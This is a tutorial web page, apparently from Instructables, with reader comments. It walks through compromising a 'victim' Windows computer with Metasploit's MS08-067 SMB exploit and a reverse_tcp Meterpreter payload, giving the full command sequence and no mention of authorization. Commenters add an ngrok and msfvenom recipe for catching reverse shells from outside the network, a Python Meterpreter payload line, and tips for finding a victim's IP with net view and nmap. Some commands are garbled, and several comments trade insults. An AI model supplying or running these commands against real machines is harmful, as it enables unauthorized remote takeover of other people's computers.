Hack a Computer on Your Network With Kali Linux

475,978

91

47

Posted in TechnologyComputers

Introduction: Hack a Computer on Your Network With Kali Linux

Hey guys!

So you want to hack a computer and you've got Kali linux installed?

Then you are on the right place!

I am going to show you how to hack a computer.

Step 1: Start Kali Linux

Start Kali Linux and start a new terminal.

Step 2: Start the Metasploit Console

Start the Metasploit console by typing: msfconsole

This will take a few moments...

Step 3: The Commands:

So Metasploit started.

Here are the commands you need to type in:

use windows/smb/ms08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST *Your ip adress* (If you don't know your ip adress then open a new terminal and type ifconfig. your ip adress will be somewhere in the output :D)

set LPORT 4444

set RHOST *victim's ip*

set RPORT 445

exploit

(You should connect)

Type help for a list of commands.

Step 4: That's It!

That's it!

You just hacked a computer!

Congrats!

I will probably make more tutorials about hacking and other ways to hack a computer.

So if this didn't work for you, stay tuned!

I think it only works for older versions of windows :(

Also please take a look at my Widows 7 hack tutorial!

>>>

https://www.instructables.com/id/Hack-Windows-7-or-Higher-With-SeToolkit

Share

    Recommendations

    • Microcontroller Contest

      Microcontroller Contest
    • Science of Cooking

      Science of Cooking
    • Pocket-Sized Contest

      Pocket-Sized Contest
    user

    We have a be nice policy.
    Please be positive and constructive.

    Tips

    2 Questions

    Hi!

    I was looking for a good tutorial on basic hacking/pen testing on Kali Linux, and I came across this. I was a bit frustrated reading this, because you didn't explain what anything did. set LHOST, LPORT, RHOST, and RPORT is quite obvious, but I would like to know what all of these commands actually do. I want to learn from this, not just have it as a little gimmick I can use to brag to my friends about.

    Greetz, Erik.

    Hi there
    I have some questions about this:-
    1) Can this work with other ports.
    2) After all the process it shows the message : exploit completed but no session was created. In this case what to do.
    3) Is it only for windows or any other os
    4) Can this work with windows 10 and ubuntu.
    5) Can we use it outside our network

    47 Comments




    Yes it does you just need to change the payload to

    python/meterpreter/reverse_tcp LHOST="localhost" LPORT="localport" > pyterpreter.py

    No you dumbass. You can well see that he used windows/meterpreter/reverse_tcp .-.

    Yes it does you just need to change the payload to

    python/meterpreter/reverse_tcp LHOST="localhost" LPORT="localport" > pyterpreter.py

    So i guess your pretty stupid to answer a question wrong ;P

    use nmap to scan for live host on network there are enough tutorials how to do that

    The cringe is real. You need to get the local ipadress from the victim. Do this by typing in your command prompt (I'm guessing that you're using a virtual machine) "net view" and now some host names will popup. (Ex: ERIK) Ping the host and no you've got the local ipadress( ipv4) of our victim.

    you should figure out

    step 1 ngrok tcp 12345

    step2 msfvenomm PAYLOAD windows/meterpreter/reverse_tcp lhost 127.0.0.1 lport ngrok

    step 3 msfconsole

    step 4 use exploit /multi/handler/

    set PAYLOAD windows/meterpreter/reverse_tcp

    step 5 set lhost 127.0.0.1

    step 6 set lport 12345

    exploit

    and

    exploit -j HACK YOUR PC IN OPEN NETWORK 1000%

    ADVANCE THANKS

    Everyone of you communists is accidentally helpful, or purposefully wasting valuable space-time in this reality. Could not give u a definitive answer to any rational reason why you could possibly still find the resolve every afternoon to slither off ur moms hideaway soda , demand she cook you an omellete, and scroll down to some poor unsuspectimg comment section u happened upon so as to leave behind your legacy- the comment section of a forums euivalent of a public bathrooms stall poetry and wall art. Keep it up

    That's very strange. You're maybe using Mint or Ubuntu or some other os. Pretty nooby of you to not get that LOL.

    do you have metasploit on your kali?

    Lol! point made.

    you should`d ask here but figure out yourself then the next time you wanna do it you remember it better

    I keep getting [ - ] Failed to load module: windows/smb/ms08_067_netpai

    1 reply

    It's "api" not "pai"

    I'm not a a newbie in Kali Linux ffs. Ok here is my problem: SATUS:DENIED i tried to disable my firewall but it keeps saying that im not allowed. PLUS i tried all ports i found on my local ipadress with nmap.

    How can i find my vinctim's ip address?

    I already tried the ip4 addres but how can i find the IP Address.

    And i also tried nmap -sP RouterIPAddress/24 but it didn't work it was showing me: Host found: 0. and some more errors.

    Pls help me